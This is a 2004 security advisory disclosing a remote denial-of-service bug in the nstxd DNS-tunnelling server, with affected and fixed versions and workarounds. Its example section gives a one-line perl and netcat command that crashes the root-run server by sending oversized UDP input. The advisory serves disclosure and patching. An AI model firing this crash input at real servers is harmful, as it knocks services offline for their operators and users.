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            Rstack Team (Rstack.org) --- Security Advisory 


Advisory Number: RSTACK-20040325 
Subject: Nstxd remote DoS-Bug (NULL-pointer-dereference)
Author: Laurent Oudot <oudot@rstack.org> 
Discovered: ...
Published: March 25, 2004
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Problem description 
=================== 


Nstxd is the server from the Nstx project. Nstx can be used to create 
IP trafic over DNS (can be used by blackhats for special Wifi networks 
with DNS open for everybody).
 
Unexpected input may crash the server called nstxd which will at least 
result in a DOS due to a NULL-pointer-dereference. 
The service nstxd runs as root to bind the UDP port 53.



Vulnerable versions 
=================== 


Tests were done with the latest version : nstx-1.1-beta3
https://debmail.dereference.de/nstx/nstx-1.1-beta3.tgz 


Vendor status 
============= 


The Nstx team quickly solved this bug.
A new release is available : nstx-1.1-beta4.

>From the ChangeLog :
    1.1-beta4: sky
    2004/03/26
    * Fixed a remote DoS-Bug (NULL-pointer-dereference)



Solutions 
========= 


* Upgrade your Nstx version at :
  https://debmail.dereference.de/nstx/nstx-1.1-beta4.tgz

* Workaround: Containment (chroot, jail...) and low level security 
  solutions (grsecurity, systrace...) should be use to improve 
  the security of such a server.



Example 
======= 

** On the server (assume the IP is 192.168.1.34 for this example):
nstx-1.1-beta3# ./nstxd tun.mydomain.com

** On a remote "evil" client:
remote-hacker$ perl -e '{ print "A" x 500 }' | nc -u 192.168.1.34 53

This will segfault the server.
It might be dangerous as nstxd needs root priviledges (bind port 53).
No exploit to get a remote shell has been reported (just a DOS).


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